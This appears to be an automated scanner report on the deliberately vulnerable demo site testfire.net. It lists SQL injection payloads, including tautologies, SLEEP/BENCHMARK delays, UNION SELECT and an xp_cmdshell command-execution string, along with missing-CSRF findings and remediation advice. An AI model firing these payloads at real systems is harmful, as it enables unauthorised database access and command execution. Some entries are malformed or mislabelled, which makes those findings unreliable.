

Web Application Security Scan Report

Item	Value
URL	http://testfire.net
Risk Level	High Risk
Links Found	28

Vulnerabilities

SQLi:

- URL: http://testfire.net/search.jsp

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/search.jsp

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/search.jsp

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/doLogin

Details: {'found': True, 'results': [{'url': 'http://testfire.net/doLogin?id=1' OR '1'='1' --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '1' OR '1'='1' --', 'mitigation': 'Use input validation and restrict database operations.'}, {'url': 'http://testfire.net/doLogin?id=1' OR '1'='1' /*', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '1' OR '1'='1' /*', 'mitigation': 'Use input validation and restrict database operations.'}, {'url':

'http://testfire.net/doLogin?id='; EXEC xp_cmdshell('dir'); --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': ''; EXEC xp_cmdshell('dir'); --', 'mitigation': 'Use input validation and restrict database operations.'}]}

Form Inputs: uid, passw, btnSubmit

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/search.jsp

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/search.jsp

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/sendFeedback

Details: {'found': False, 'results': []}

Form Inputs: cfile, name, email_addr, subject, submit, reset

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/search.jsp

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/search.jsp>

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/search.jsp>

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/search.jsp>

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/search.jsp>

Details: {'found': False, 'results': []}

Form Inputs: query

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=inside_contact.htm

Details: {'found': True, 'results': [{'url': 'http://testfire.net/index.jsp?content=inside_contact.htm?id=1' AND BENCHMARK(5000000, MD5(1)) --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '1' AND BENCHMARK(5000000, MD5(1)) --', 'mitigation': 'Use input validation and restrict database operations.'}]}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/index.jsp?content=personal.htm>

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/index.jsp?content=business.htm>

Details: {'found': True, 'results': [{'url': 'http://testfire.net/index.jsp?content=business.htm?id=" OR "1"="1" --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '" OR "1"="1" --', 'mitigation': 'Use input validation and restrict database operations.'}]}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/index.jsp?content=inside.htm>

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=personal_deposit.htm

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=personal_checking.htm

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=personal_loans.htm

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=personal_cards.htm

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=personal_investments.htm

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=personal_other.htm

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=business_deposit.htm
Details: {'found': False, 'results': []}
Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=business_lending.htm
Details: {'found': False, 'results': []}
Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=business_cards.htm
Details: {'found': False, 'results': []}
Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=business_insurance.htm
Details: {'found': False, 'results': []}
Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=business_retirement.htm
Details: {'found': False, 'results': []}
Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=business_other.htm
Details: {'found': True, 'results': [{'url': 'http://testfire.net/index.jsp?content=business_other.htm?id=', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '', 'mitigation': 'Use input validation and restrict database operations.'}, {'url': 'http://testfire.net/index.jsp?content=business_other.htm?id=1' AND SLEEP(5) --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '1' AND SLEEP(5) --', 'mitigation': 'Use input validation and restrict database operations.'}]}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=inside_about.htm
Details: {'found': True, 'results': [{'url': 'http://testfire.net/index.jsp?content=inside_about.htm?id=1' OR '1'=1' --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '' OR '1'=1' --', 'mitigation': 'Use input validation and restrict database operations.'}, {'url': 'http://testfire.net/index.jsp?content=inside_about.htm?id=1' ORDER BY 1 --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '1' ORDER BY 1 --', 'mitigation': 'Use input validation and restrict database operations.'}]}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=inside_investor.htm
Details: {'found': True, 'results': [{'url': 'http://testfire.net/index.jsp?content=inside_investor.htm?id=1' OR '1'=1' --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '1' OR '1'=1' --', 'mitigation': 'Use input validation and restrict database operations.'}]}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=inside_press.htm
Details: {'found': False, 'results': []}
Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=inside_careers.htm
Details: {'found': True, 'results': [{'url': 'http://testfire.net/index.jsp?content=inside_careers.htm?id=1' OR 'x'=x' --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '' OR 'x'=x' --', 'mitigation': 'Use input validation and restrict database operations.'}]}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=personal_savings.htm
Details: {'found': False, 'results': []}
Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/index.jsp?content=privacy.htm>
Details: {'found': True, 'results': [{'url': 'http://testfire.net/index.jsp?content=privacy.htm?id=1' OR '1'=1' --', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': '1' OR '1'=1' --', 'mitigation': 'Use input validation and restrict database operations.'}, {'url': 'http://testfire.net/index.jsp?content=privacy.htm?id=admin' #', 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': 'admin' #', 'mitigation': 'Use input validation and restrict database operations.'}]}

database operations.'}}}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/default.jsp?content=security.htm>

Details: {'found': True, 'results': [{'url': "http://testfire.net/default.jsp?content=security.htm?id=1' OR '1'='1' --", 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': "1' OR '1'='1' --", 'mitigation': 'Use input validation and restrict database operations.'}], {'url':

"http://testfire.net/default.jsp?content=security.htm?id=1' UNION SELECT NULL --", 'risk_level': 'High', 'details': '■ Potential time-based SQL Injection detected!', 'payload': "1' UNION SELECT NULL --", 'mitigation': 'Use input validation and restrict database operations.'}]}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/index.jsp?content=security.htm>

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/disclaimer.htm?url=http://www.netscape.com>

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: <http://testfire.net/disclaimer.htm?url=http://www.microsoft.com>

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=inside_community.htm

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

- URL: http://testfire.net/index.jsp?content=inside_contact.htm#ContactUs

Details: {'found': False, 'results': []}

Recommendation: Use parameterized queries or prepared statements to prevent SQL injection.

No XSS vulnerabilities found.

CSRF:

- URL: <http://testfire.net/search.jsp>

Details: CSRF protection missing (no CSRF token found in GET form).

Form Inputs: query

Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/search.jsp>

Details: CSRF protection missing (no CSRF token found in GET form).

Form Inputs: query

Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/search.jsp>

Details: CSRF protection missing (no CSRF token found in GET form).

Form Inputs: query

Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/doLogin>

Details: CSRF protection missing (no CSRF token found in GET form).

Form Inputs: uid, passw, btnSubmit

Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/search.jsp>

Details: CSRF protection missing (no CSRF token found in GET form).

Form Inputs: query

Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/search.jsp>

Details: CSRF protection missing (no CSRF token found in GET form).

Form Inputs: query

Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/search.jsp>
Details: CSRF protection missing (no CSRF token found in GET form).
Form Inputs: query
Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/search.jsp>
Details: CSRF protection missing (no CSRF token found in GET form).
Form Inputs: query
Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/search.jsp>
Details: CSRF protection missing (no CSRF token found in GET form).
Form Inputs: query
Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/search.jsp>
Details: CSRF protection missing (no CSRF token found in GET form).
Form Inputs: query
Recommendation: Implement and validate CSRF tokens server-side.

- URL: <http://testfire.net/search.jsp>
Details: CSRF protection missing (no CSRF token found in GET form).
Form Inputs: query
Recommendation: Implement and validate CSRF tokens server-side.

Ports:

Headers: